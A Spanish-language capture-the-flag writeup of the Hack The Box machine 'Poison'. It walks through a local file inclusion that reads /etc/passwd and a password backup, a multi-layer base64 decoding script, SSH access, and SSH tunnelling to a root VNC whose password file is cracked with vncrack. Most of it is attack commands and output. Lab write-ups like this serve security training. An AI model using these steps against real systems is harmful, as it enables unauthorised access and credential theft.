Posion
Hack The Box — Writeup
Posion
| IP: | 10.129.1.254 |
| OS: | Linux |
| Dificultad: | Medium |
| Fecha: | 13 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.1.254 -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos y sus versiones.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Hallazgo: se identificó una versión vulnerable del servicio Apache (2.4.29), con múltiples CVEs vinculados, que más adelante se determinaría cuál era el correcto para esta máquina.
Enumeración
Enumeración del servicio web
Al acceder a la página principal, se observó el siguiente contenido:

# Ctrl + U
<form action="/browse.php" method="GET">
Scriptname: <input type="text" name="file"><br>
<input type="submit" value="Submit">
</form>
Hallazgo: el título de la página ("Temporary website to test local
.php scripts") y el formulario presente sugieren fuertemente una
vulnerabilidad de tipo Local File Inclusion (LFI). Revisando el
código fuente HTML, se identificó que el formulario envía una petición
GET hacia /browse.php, con el parámetro file tomando el valor
ingresado en el campo Scriptname. Esto permite reconstruir manualmente
la URL de destino sin necesidad de interceptar la petición:
http://10.129.1.254/browse.php?file=
Adicionalmente, la propia página sugiere 4 nombres de archivo a probar
(ini.php, info.php, listfiles.php, phpinfo.php), lo cual sirvió
como punto de partida para la enumeración del parámetro vulnerable. Se
decidió acceder al archivo listfiles.php ya que los otros archivos
eran más versiones del servicio y de PHP.
http://10.129.1.254/browse.php?file=listfiles.php
Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5]
=> ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )
Interpretación del array devuelto por browse.php
Al investigar por mi cuenta qué era exactamente lo que veía en el array, entendí que no todos los elementos significan lo mismo. Los agrupé en tres categorías según lo que fui aprendiendo:
::: center :::
Cómo interpreté cada grupo
-
[0] y [1] (gris): son
.y.., la convención estándar de sistemas Unix/Linux para referirse al directorio actual y al directorio padre. Aprendí que estos siempre aparecen en cualquier listado de directorio generado conscandir(), sin importar el sitio, así que no aportan información nueva por sí solos. -
[2] al [7] (verde): son los archivos que la página principal ya me había mostrado como "sugeridos" (
ini.php,info.php,listfiles.php,phpinfo.php), másbrowse.php(el script vulnerable en sí) eindex.php(la página principal). Es decir, nada que no esperara encontrar. -
[8] (naranja):
pwdbackup.txtfue el único elemento que no estaba mencionado en ningún lado de la página principal. Ese contraste (esperado vs. no esperado) fue lo que me hizo detenerme ahí e investigar ese archivo específico, en vez de asumir que todo el array era simplemente "ruido".
Obtención de credenciales
curl http://10.129.1.254/browse.php\?file\=pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong
really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW=
Se decidió cortar parte de la password cifrada por ser demasiado extensa.
Hallazgo: luego de realizar un cat al archivo pwdbackup.txt se
encontró una password en base64. Ya que la password estaba cifrada en
base64 varias veces, se creó un pequeño script para descifrarla hasta
obtener la password original.
# Script hecho en bash
texto="Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW="
for i in $(seq 1 13); do
decoded=$(echo -n "$texto" | base64 -d 2>/dev/null)
if [ -z "$decoded" ]; then
echo "Vuelta $i: fallo al decodificar (ya no es base64 v\'alido o lleg\'o al final)"
break
fi
texto="$decoded"
echo "Vuelta $i: $texto"
done
Tras 13 vueltas de descifrar la password se encontró la contraseña en texto plano:
Vuelta 13: Charix!2#4%6&8(0
Recordando que la máquina tenía la vulnerabilidad de LFI, se decidió acceder a /etc/passwd para enumerar usuarios y utilizar la contraseña encontrada.

Como se muestra, había demasiado texto, así que se decidió realizar la
petición con curl filtrando únicamente por los que terminan en sh,
para obtener los usuarios con shell asignada:
curl -s "http://10.129.1.254/browse.php?file=/etc/passwd" | grep "sh$"
root:*:0:0:Charlie &:/root:/bin/csh
charix:*:1001:1001:charix:/home/charix:/bin/csh
Hallazgo: se identificó el usuario charix, que fácilmente se
podría deducir mediante la password, pero se quería confirmar la
existencia del usuario. Sabiendo esto, se procedió a conectar por
SSH ya que se tenía conocimiento de credenciales válidas.
Explotación
Acceso inicial por SSH
ssh [email protected]
Password: Charix!2#4%6&8(0)
charix@Poison:~ % whoami
charix
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
Resultado: se obtuvo acceso interactivo como el usuario charix,
confirmando que la contraseña descifrada del backup era válida para el
sistema.
Escalada de Privilegios
Intento fallido con sudo
charix@Poison:~ % sudo -l
sudo: Command not found.
Porqué no funcionó: al ser mi primera máquina en FreeBSD, se
intuía que existiera el comando sudo, pero investigando un poco se
encontró que este no viene por defecto en los sistemas FreeBSD, así que
se optó por encontrar otras formas de escalar privilegios.
Enumeración de binarios SUID
Hallazgo: se intentó enumerar binarios con permisos SUID mediante el comando estándar de búsqueda, pero se obtuvo un error inesperado incluso usando la ruta absoluta del binario.
charix@Poison:~ % find / -perm -4000 2>/dev/null
find: 2: unknown primary or operator
charix@Poison:~ % /usr/bin/find / -perm -4000 2>/dev/null
find: 2: unknown primary or operator
Porqué no funcionó: se verificó el shell activo con echo $shell,
confirmando que la sesión corría sobre csh, el shell por defecto en
FreeBSD. La sintaxis 2>/dev/null es propia de sh/bash, y en csh no
se interpreta igual, por lo que el carácter 2 era tomado como
argumento literal de find en vez de redirección de errores.
charix@Poison:~ % echo $shell
/bin/csh
charix@Poison:~ % sh -c "find / -perm -4000 2>/dev/null"
Porqué funcionó: al invocar find dentro de una subshell sh
explícita, la redirección se interpretó correctamente, permitiendo
obtener el listado completo de binarios SUID sin ruido de errores.
/usr/sbin/traceroute6
/usr/sbin/authpf-noip
/usr/sbin/traceroute
/usr/sbin/timedc
/usr/sbin/authpf
/usr/sbin/ppp
/usr/libexec/dma-mbox-create
/usr/libexec/ulog-helper
/usr/libexec/ssh-keysign
/usr/bin/lpq
/usr/bin/rlogin
/usr/bin/lprm
/usr/bin/lpr
/usr/bin/at
/usr/bin/crontab
/usr/bin/atrm
/usr/bin/atq
/usr/bin/su
/usr/bin/chpass
/usr/bin/quota
/usr/bin/passwd
/usr/bin/opieinfo
/usr/bin/login
/usr/bin/batch
/usr/bin/opiepasswd
/usr/bin/lock
/usr/bin/rsh
/usr/local/bin/Xorg
/usr/local/libexec/dbus-daemon-launch-helper
/bin/rcp
/sbin/ping6
/sbin/poweroff
/sbin/mksnap_ffs
/sbin/shutdown
/sbin/ping
Ningún binario de la lista resultó ser un vector directo de escalada; todos corresponden a utilidades estándar del sistema base sin configuraciones inseguras conocidas.
Revisión de tareas programadas (cron)
Hallazgo: continuando la enumeración de vectores de escalada de
privilegios, se revisó el contenido de /etc/crontab para identificar
tareas programadas que corrieran como root.
charix@Poison:~ % cat /etc/crontab
SHELL=/bin/sh
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
*/5 * * * * root /usr/libexec/atrun
*/11 * * * * operator /usr/libexec/save-entropy
0 * * * * root newsyslog
1 3 * * * root periodic daily
15 4 * * 6 root periodic weekly
30 5 1 * * root periodic monthly
1,31 0-5 * * * root adjkerntz -a
Se identificaron múltiples tareas ejecutándose como root, por lo que
se procedió a verificar los permisos sobre los binarios y scripts
invocados por dichas tareas, con el objetivo de determinar si el usuario
charix tenía permisos de escritura sobre alguno de ellos.
charix@Poison:~ % ls -la /usr/libexec/atrun
-r-xr-xr-x 1 root wheel 16200 Jul 21 2017 /usr/libexec/atrun
charix@Poison:~ % ls -la /etc/periodic/daily/
total 128
drwxr-xr-x 2 root wheel 1024 Jul 21 2017 .
-rwxr-xr-x 1 root wheel 1285 Jul 21 2017 100.clean-disks
-rwxr-xr-x 1 root wheel 1577 Jul 21 2017 110.clean-tmps
...
Porqué no funcionó: tanto /usr/libexec/atrun como todos los
scripts dentro de /etc/periodic/daily/ pertenecen a root:wheel, sin
permisos de escritura para el grupo ni para otros usuarios. El usuario
charix no pertenece al grupo wheel, por lo que no existe forma de
modificar ninguno de estos archivos para lograr ejecución de código como
root a través de cron. Se descartó esta vía y se continuó la enumeración
hacia otros vectores.
Enumeración de servicios locales
Hallazgo: se procedió a enumerar servicios escuchando localmente en la máquina, ya que el escaneo nmap inicial se realizó desde el exterior y podría no reflejar servicios que solo aceptan conexiones en localhost.
charix@Poison:~ % sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
www httpd 852 4 tcp4 *:80 *:*
root sendmail 721 3 tcp4 127.0.0.1:25 *:*
root sshd 699 4 tcp4 *:22 *:*
root Xvnc 608 1 tcp4 127.0.0.1:5901 *:*
root Xvnc 608 3 tcp4 127.0.0.1:5801 *:*
root syslogd 469 7 udp4 *:514 *:*
Se identificó un servicio VNC (Xvnc) corriendo como root,
escuchando únicamente en 127.0.0.1 en los puertos 5901 y 5801.
Este servicio no era visible desde el escaneo externo inicial
precisamente por estar restringido a conexiones locales, lo cual explica
por qué no apareció en el reconocimiento con nmap. Al correr como root,
este servicio representa un vector directo de escalada de privilegios si
se logra acceder a él.
Investigación: VNC (Virtual Network Computing) es un protocolo
que permite visualizar y controlar remotamente el escritorio gráfico de
otra máquina, a diferencia de SSH que solo brinda acceso a terminal de
texto. Un servidor VNC (en este caso Xvnc) comparte la sesión gráfica,
y un cliente VNC (vncviewer) permite conectarse y controlarla. Dado
que este servicio corría como root y escuchaba únicamente en
127.0.0.1, representaba un vector directo de escalada de privilegios
si se lograba obtener la contraseña de autenticación del servicio.
SSH Tunneling hacia el puerto de VNC
Ya que el servicio VNC solo escuchaba en 127.0.0.1 de la máquina
víctima, fue necesario redirigir ese puerto hacia la máquina atacante
mediante SSH tunneling, aprovechando la conexión SSH ya autenticada
con el usuario charix.
ssh -f -N -L 5901:127.0.0.1:5901 [email protected]
Esto abre un túnel en segundo plano que redirige el puerto 5901 local de
la máquina atacante hacia el puerto 5901 de 127.0.0.1 en Poison,
permitiendo usar un cliente VNC propio como si el servicio corriera
localmente.
Obtención de la contraseña de VNC
Antes de conectar al VNC, se enumeró el directorio home de charix en
busca de credenciales adicionales, encontrando lo siguiente:
charix@Poison:~ % ls
secret.zip user.txt
charix@Poison:~ % cat user.txt
eaacdfb2d141*************604209c
charix@Poison:~ % unzip secret.zip
Archive: secret.zip
extracting: secret |
unzip: Passphrase required for this entry
Hallazgo: se encontró la flag de usuario (user.txt) y un archivo
secret.zip protegido con contraseña, propiedad de root:charix. Se
intentó descomprimir usando la contraseña descifrada anteriormente
(Charix!2#4%6&8(0)), pero la versión de unzip incluida en el sistema
base de FreeBSD no soporta la flag -P ni el prompt interactivo de
contraseña para este tipo de cifrado.
Solución: se transfirió el archivo a la máquina atacante mediante
scp, donde sí se cuenta con una versión completa de Info-ZIP capaz de
manejar contraseñas correctamente.
scp [email protected]:~/secret.zip .
unzip -P 'Charix!2#4%6&8(0' secret.zip
Archive: secret.zip
extracting: secret
Al inspeccionar el archivo extraído, se observó que pesaba exactamente 8 bytes y su contenido era binario, no texto plano.
Investigación: las contraseñas de VNC (en su implementación clásica
RFB) no se almacenan cifradas de forma segura, sino ofuscadas mediante
DES con una clave fija y pública, hardcodeada en el protocolo
desde su creación. Esto explica por qué el archivo secret pesaba
exactamente 8 bytes: DES opera en bloques de 8 bytes, y las contraseñas
VNC clásicas están limitadas a 8 caracteres por este motivo. Al ser una
clave conocida públicamente, existen herramientas estándar que revierten
este proceso sin necesidad de fuerza bruta.
Se identificó la herramienta vncrack (disponible en los repositorios de BlackArch) para revertir el cifrado:
sudo pacman -S vncrack
vncrack -C secret
VNC password: VNCP@$$!
Por qué funcionó: vncrack implementa el algoritmo DES con la clave
fija conocida del protocolo RFB, permitiendo revertir el archivo de
contraseña sin necesidad de ataque de fuerza bruta, ya que no se trata
de un cifrado seguro sino de una ofuscación reversible por diseño.
Conexión VNC y escalada final
Con el túnel SSH activo y la contraseña de VNC obtenida, se procedió a
conectar con el cliente vncviewer:
vncviewer 127.0.0.1:5901

Hallazgo: la conexión VNC otorgó acceso directo a una sesión de escritorio gráfico corriendo como root, confirmando la escalada de privilegios completa. Desde esa sesión se obtuvo la flag final:
root@Poison:~ # cat /root/root.txt
716d04b*************d891272361f5